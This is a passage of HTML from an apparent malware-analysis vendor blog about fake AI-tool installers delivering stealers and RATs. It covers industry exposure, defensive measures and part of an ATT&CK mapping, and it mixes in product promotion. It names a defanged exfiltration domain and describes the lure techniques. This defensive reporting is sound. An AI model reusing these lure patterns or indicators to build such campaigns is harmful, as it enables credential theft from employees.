claude-code.exe that turned out to be Aura Stealer, which checked in and exfiltrated data to sys-tools[.]cfd; <\/li>\n\n\n\n<li>files named after Copilot that carried AsyncRAT (8 analyses); <\/li>\n\n\n\n<li>a grok.exe that carried Quasar RAT. <\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/6d4a6672-cf01-436a-ae89-9274975472c7?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the fake claude-code.exe<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"498\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/ClaudeCode-1024x498.png\" alt=\"claude-code.exe displayed inside ANY.RUN sandbox\" class=\"wp-image-23720\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/ClaudeCode-1024x498.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/ClaudeCode-300x146.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/ClaudeCode-768x373.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/ClaudeCode-1536x746.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/ClaudeCode-2048x995.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/ClaudeCode-370x180.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/ClaudeCode-270x131.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/ClaudeCode-740x360.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>claude-code.exe displayed inside ANY.RUN sandbox<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Which Organizations Are Seeing Fake AI Activity<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The lures pick their audience by role: <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Developers:<\/strong> fake CLI installers for Claude Code, Copilot CLI, Codex, and Ollama. <\/li>\n\n\n\n<li><strong>Marketing teams:<\/strong> fake ads programs for Claude, Gemini, and Perplexity. <\/li>\n\n\n\n<li><strong>Everyone else:<\/strong> fake desktop apps and AI chats for anyone who searches for an AI app. <\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Lookup<\/a> also shows the industry of the organization that submitted each analysis. We used that data to see which industries appeared across the campaign queries.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The table below shows how many of the seven campaign queries included submissions from each industry, both globally and among US submitters. These figures show how widely an industry appears across the campaigns, not the number or share of victims.<\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-415\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"9\"\n           data-wpID=\"415\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Industry\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        All countries: queries (of 7)\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        US submitters: queries (of 4)\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Technology\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        7\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        2\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Telecommunications\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        6\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        3\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Education\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        5\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Consulting\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        5\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Manufacturing\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        4\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        3\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Healthcare\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        4\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Government\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        4\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Finance and banking\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        4\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-415'>\ntable#wpdtSimpleTable-415{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-415 td, table.wpdtSimpleTable415 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">The list is led by sectors with large developer and knowledge-worker populations. Among US submitters, consulting stands out in the fake Claude Code installers, education in the ChatGPT-themed chains, and manufacturing across the CLI lures.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">How Organizations Can Reduce the Risk<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Reducing exposure to fake AI campaigns requires both stronger control over how employees access AI software and better visibility when suspicious activity reaches an endpoint. The goal is to limit risky user actions, detect malicious behavior earlier, and give SOC teams enough context to respond before access spreads. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Make the Approved AI Catalog the Easiest Path<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Every pattern in this research starts with an employee looking for an AI tool on their own. Publish a short list of approved AI tools with their official sources (vendor site, winget, Homebrew, or the vendor\u2019s package) and install them through MDM or the software portal. Then a search result has less reason to become the employee\u2019s first stop. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Give AI Tools an Owner and a Budget<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">In IBM\u2019s 2026 Cost of a Data Breach study, shadow AI incidents more than doubled, from 20% to 43% of security incidents. Only about a third of organizations strictly approve AI tools before deployment, according to HIPAA Journal. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Assign one owner for AI tool requests and give that person a budget for licenses, so teams can get approved software faster than they can find a \u201cfree download.\u201d Review the approved list regularly, as the kits in this report already imitate newer names such as OpenClaw and Manus alongside Claude and ChatGPT. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Take Paste-and-Run Away from Standard Users<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">InstallFix and ClickFix depend on users being able to open a shell and execute copied commands. Restrict mshta.exe, wscript.exe, and unsigned PowerShell for standard users with AppLocker, WDAC, and attack surface reduction rules. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Train employees to verify install commands against the vendor\u2019s official documentation rather than copying them from search results, ads, shared chats, or unfamiliar download pages. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Add Behavioral Evidence to Threat Triage<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/any.run\/features\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktosandboxlanding\" target=\"_blank\" rel=\"noreferrer noopener\">Interactive Sandbox<\/a> helps SOC teams see what a suspicious installer, pasted command, or fake AI lure actually does after execution. Analysts can confirm malicious behavior, understand the full attack chain, and make containment decisions with more context.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/c1bb66d8-a08d-4f50-8bf5-bcc6132fc3d6?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the Claude Ads lure<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"544\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-ads-lure-1024x544.png\" alt=\"Claude ads lure\" class=\"wp-image-23695\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-ads-lure-1024x544.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-ads-lure-300x159.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-ads-lure-768x408.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-ads-lure-1536x815.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-ads-lure-2048x1087.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-ads-lure-370x196.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-ads-lure-270x143.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-ads-lure-740x393.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Claude ads lure analyzed inside ANY.RUN sandbox<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Teams using ANY.RUN report <strong>21 minutes less MTTR per incident, 20% less Tier 1 investigation time, and 30% fewer Tier 1-to-Tier 2 escalations<\/strong>, helping SOCs move from investigation to response faster. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Expand a Single Indicator into Campaign Context<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Lookup<\/a> helps analysts move beyond one suspicious domain, URL, or file hash and uncover related infrastructure, sandbox activity, and campaign artifacts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It gives security teams access to intelligence built from activity across <strong>16,000+ organizations and 700,000+ security professionals worldwide<\/strong>, helping them connect individual indicators to broader malicious activity and investigate threats with more context. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Check out the following TI Lookup queries for fuller context and deeper investigations:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/intelligence.any.run\/analysis\/lookup?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotilookup#{%22query%22:%22domainName:%5C%22%5Eclaude%5C%22%20AND%20NOT%20domainName:%5C%22%5Eclaude.ai$%5C%22%20AND%20NOT%20domainName:%5C%22%5Eclaude.com$%5C%22%20AND%20threatLevel:%5C%22malicious%5C%22%22,%22dateRange%22:180}\" target=\"_blank\" rel=\"noreferrer noopener\">Domains that start with \u201cclaude\u201d but are not claude.ai or claude.com<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/intelligence.any.run\/analysis\/lookup?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotilookup#{%22query%22:%22domainName:%5C%22claude*.gitlab.io%5C%22%20OR%20domainName:%5C%22chatgpt*.gitlab.io%5C%22%20OR%20domainName:%5C%22claude*.pages.dev%5C%22%22,%22dateRange%22:180}\" target=\"_blank\" rel=\"noreferrer noopener\">Claude- and ChatGPT-named sites on GitLab Pages and Cloudflare Pages<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/intelligence.any.run\/analysis\/lookup?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotilookup#{%22query%22:%22suricataMessage:%5C%22AI-themed%5C%22%22,%22dateRange%22:180}\" target=\"_blank\" rel=\"noreferrer noopener\">Suricata messages for \u201cAI-themed\u201d<\/a><\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"585\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-lookup-query-for-Fake-AI-campaign-1024x585.png\" alt=\"TI Lookup query to get a full context into fake AI campaigns targeting USA\" class=\"wp-image-23722\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-lookup-query-for-Fake-AI-campaign-1024x585.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-lookup-query-for-Fake-AI-campaign-300x171.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-lookup-query-for-Fake-AI-campaign-768x438.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-lookup-query-for-Fake-AI-campaign-1536x877.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-lookup-query-for-Fake-AI-campaign-2048x1169.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-lookup-query-for-Fake-AI-campaign-370x211.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-lookup-query-for-Fake-AI-campaign-270x154.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-lookup-query-for-Fake-AI-campaign-740x422.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>TI Lookup query to get a full context into fake AI campaigns targeting USA<\/em><\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Teams using ANY.RUN report <strong>up to 36% higher detection rates<\/strong>, helping SOCs identify more threats and prioritize response with greater confidence. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Keep Detection Current as Infrastructure Changes<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/any.run\/threat-intelligence-feeds\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotifeedslanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Feeds<\/a> deliver fresh malicious domains, IPs, URLs, hashes, and other indicators into existing SIEM, SOAR, and detection workflows. This helps organizations maintain coverage as attackers rotate infrastructure and reduces the manual effort required to keep detections current.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"445\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-Feeds-for-fake-AI-1024x445.png\" alt=\"TI Feeds provides fresh and trustworthy IOCS to existing security stack\" class=\"wp-image-23698\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-Feeds-for-fake-AI-1024x445.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-Feeds-for-fake-AI-300x130.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-Feeds-for-fake-AI-768x333.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-Feeds-for-fake-AI-1536x667.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-Feeds-for-fake-AI-2048x889.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-Feeds-for-fake-AI-370x161.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-Feeds-for-fake-AI-270x117.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/TI-Feeds-for-fake-AI-740x321.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>TI Feeds provides fresh and trustworthy IOCS to existing security stack<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">For security teams handling large volumes of alerts, continuously updated threat intelligence can help surface known malicious activity earlier and support faster triage across existing security systems. <\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Help Your SOC Stop More Threats with the Same Team.\n<\/span>\n<br>\nCut investigation time and reduce escalations.\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nScale SOC Performance<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Fake AI tools turn trusted software brands into an attack path that depends on a single user action. Across the activity analyzed, attackers repeatedly used familiar AI names, trusted platforms, and convincing install or sign-in flows to reach developer environments, active sessions, and business accounts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The strongest detection opportunities are behavioral. Domains changed frequently, while command patterns, staging paths, backend APIs, and post-execution activity remained more consistent. The US also stood out, ranking first in both the fake \u201cDownload Claude\u201d campaign and the ChatGPT-themed chains, and second overall across all fake AI activity analyzed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For organizations, the priority is to reduce the time between suspicious activity and a confident response. <a href=\"https:\/\/any.run\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktolanding\" target=\"_blank\" rel=\"noreferrer noopener\">ANY.RUN<\/a> supports that workflow by helping teams analyze behavior, connect indicators to wider campaign activity, and bring fresh intelligence into existing security controls.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That can translate into faster investigations, fewer unnecessary escalations, and earlier containment before compromised access turns into wider business impact.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">About ANY.RUN<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/any.run\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktolanding\" target=\"_blank\" rel=\"noreferrer noopener\">ANY.RUN<\/a> is a leading provider of interactive malware analysis and threat intelligence solutions trusted by <strong>16,000+ organizations<\/strong> and <strong>700,000+ security professionals worldwide<\/strong>, including <strong>74% of the Fortune 100<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Its <a href=\"https:\/\/any.run\/features\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktosandboxlanding\" target=\"_blank\" rel=\"noreferrer noopener\">Interactive Sandbox<\/a>, <a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Lookup<\/a>, and <a href=\"https:\/\/any.run\/threat-intelligence-feeds\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotifeedslanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Feeds<\/a> work together as one investigation and response workflow.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Security teams can analyze suspicious files, URLs, and behavior in the Interactive Sandbox, pivot from discovered indicators to related infrastructure and campaign activity in TI Lookup, and then bring fresh threat intelligence into existing SIEM, SOAR, EDR, and other security systems through TI Feeds.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This gives SOC teams a continuous path from initial analysis to deeper investigation and broader detection, helping them respond faster and contain malicious activity before it creates wider business impact. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">MITRE ATT&amp;CK Mapping<\/h2>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-410\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"4\"\n           data-rows=\"12\"\n           data-wpID=\"410\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Tactic\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Technique ID\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Technique Name\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"D1\"\n                    data-col-index=\"3\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Evidence\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Resource Development\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1583.008\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Acquire\u00a0      Infrastructure: Malvertising\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D2\"\n                    data-col-index=\"3\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Google Ads click parameters on the fake download pages and on the 